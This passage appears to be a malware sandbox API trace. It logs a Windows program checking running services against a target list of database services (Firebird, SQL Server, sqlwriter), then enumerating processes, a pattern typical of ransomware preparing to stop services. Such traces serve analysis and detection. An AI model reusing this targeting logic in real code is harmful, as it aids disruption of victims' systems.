(lpString="DcomLaunch") returned 10 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0294.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0294.165] lstrlenW (lpString="DeviceAssociationService") returned 24 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0294.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0294.165] lstrlenW (lpString="Dhcp") returned 4 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0294.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0294.165] lstrlenW (lpString="Dnscache") returned 8 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0294.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0294.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0294.166] lstrlenW (lpString="DPS") returned 3 [0294.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0294.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0294.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0294.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0294.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0294.166] lstrlenW (lpString="DusmSvc") returned 7 [0294.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0294.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0294.166] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0294.166] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0294.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0294.166] lstrlenW (lpString="EventLog") returned 8 [0294.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0294.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0294.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0294.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0294.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0294.166] lstrlenW (lpString="EventSystem") returned 11 [0294.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0294.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0294.166] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0294.166] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0294.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0294.166] lstrlenW (lpString="FontCache") returned 9 [0294.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0294.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0294.167] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0294.167] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0294.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0294.167] lstrlenW (lpString="gpsvc") returned 5 [0294.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0294.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0294.167] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0294.167] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0294.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0294.167] lstrlenW (lpString="iphlpsvc") returned 8 [0294.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0294.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0294.167] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0294.167] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0294.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0294.167] lstrlenW (lpString="KeyIso") returned 6 [0294.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0294.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0294.167] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0294.167] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0294.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0294.167] lstrlenW (lpString="LanmanServer") returned 12 [0294.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0294.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0294.167] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0294.167] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0294.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0294.167] lstrlenW (lpString="LanmanWorkstation") returned 17 [0294.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0294.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0294.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0294.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0294.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0294.168] lstrlenW (lpString="lfsvc") returned 5 [0294.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0294.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0294.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0294.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0294.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0294.168] lstrlenW (lpString="lmhosts") returned 7 [0294.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0294.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0294.168] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0294.168] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0294.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0294.168] lstrlenW (lpString="LSM") returned 3 [0294.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0294.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0294.168] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0294.168] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0294.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0294.168] lstrlenW (lpString="MpsSvc") returned 6 [0294.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0294.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0294.168] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0294.168] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0294.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0294.169] lstrlenW (lpString="NcbService") returned 10 [0294.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0294.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0294.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0294.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0294.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0294.169] lstrlenW (lpString="netprofm") returned 8 [0294.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0294.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0294.169] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0294.169] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0294.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0294.169] lstrlenW (lpString="NgcSvc") returned 6 [0294.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0294.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0294.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0294.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0294.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0294.169] lstrlenW (lpString="NlaSvc") returned 6 [0294.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0294.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0294.169] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0294.169] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0294.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0294.169] lstrlenW (lpString="nsi") returned 3 [0294.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0294.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0294.169] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0294.169] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0294.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0294.170] lstrlenW (lpString="PcaSvc") returned 6 [0294.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0294.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0294.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0294.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0294.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0294.170] lstrlenW (lpString="PlugPlay") returned 8 [0294.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0294.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0294.170] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0294.170] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0294.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0294.170] lstrlenW (lpString="Power") returned 5 [0294.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0294.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0294.170] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0294.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0294.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0294.170] lstrlenW (lpString="ProfSvc") returned 7 [0294.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0294.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0294.170] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0294.170] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0294.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0294.170] lstrlenW (lpString="RpcEptMapper") returned 12 [0294.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0294.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0294.170] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0294.170] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0294.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0294.171] lstrlenW (lpString="RpcSs") returned 5 [0294.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0294.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0294.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0294.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0294.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0294.171] lstrlenW (lpString="SamSs") returned 5 [0294.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0294.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0294.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0294.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0294.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0294.171] lstrlenW (lpString="Schedule") returned 8 [0294.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0294.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0294.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0294.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0294.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0294.171] lstrlenW (lpString="SecurityHealthService") returned 21 [0294.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0294.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0294.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0294.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0294.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0294.171] lstrlenW (lpString="SENS") returned 4 [0294.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0294.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0294.171] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0294.171] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0294.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0294.172] lstrlenW (lpString="ShellHWDetection") returned 16 [0294.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0294.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0294.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0294.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0294.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0294.172] lstrlenW (lpString="Spooler") returned 7 [0294.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0294.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0294.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0294.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0294.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0294.172] lstrlenW (lpString="SSDPSRV") returned 7 [0294.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0294.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0294.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0294.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0294.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0294.172] lstrlenW (lpString="StateRepository") returned 15 [0294.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0294.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0294.172] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0294.172] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0294.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0294.223] lstrlenW (lpString="SysMain") returned 7 [0294.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0294.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0294.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0294.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0294.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0294.223] lstrlenW (lpString="SystemEventsBroker") returned 18 [0294.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.223] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0294.223] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0294.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10c8 [0294.227] Process32FirstW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.227] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0294.228] lstrlenW (lpString="System") returned 6 [0294.228] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0294.229] lstrlenW (lpString="smss.exe") returned 8 [0294.229] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.229] lstrlenW (lpString="csrss.exe") returned 9 [0294.229] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0294.473] lstrlenW (lpString="wininit.exe") returned 11 [0294.473] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.474] lstrlenW (lpString="csrss.exe") returned 9 [0294.474] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0294.475] lstrlenW (lpString="winlogon.exe") returned 12 [0294.475] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0294.476] lstrlenW (lpString="services.exe") returned 12 [0294.476] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0294.477] lstrlenW (lpString="lsass.exe") returned 9 [0294.477] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.478] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.478] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.479] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.479] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.479] lstrlenW (lpString="svchost.exe") returned 11 [0294.480] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.480] lstrlenW (lpString="svchost.exe") returned 11 [0294.480] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.481] lstrlenW (lpString="dwm.exe") returned 7 [0294.481] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.482] lstrlenW (lpString="svchost.exe") returned 11 [0294.482] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.483] lstrlenW (lpString="svchost.exe") returned 11 [0294.483] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.484] lstrlenW (lpString="svchost.exe") returned 11 [0294.484] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.485] lstrlenW (lpString="svchost.exe") returned 11 [0294.485] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.486] lstrlenW (lpString="svchost.exe") returned 11 [0294.486] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.487] lstrlenW (lpString="svchost.exe") returned 11 [0294.487] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.488] lstrlenW (lpString="svchost.exe") returned 11 [0294.488] Process32NextW (in: hSnapshot=0x10c8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 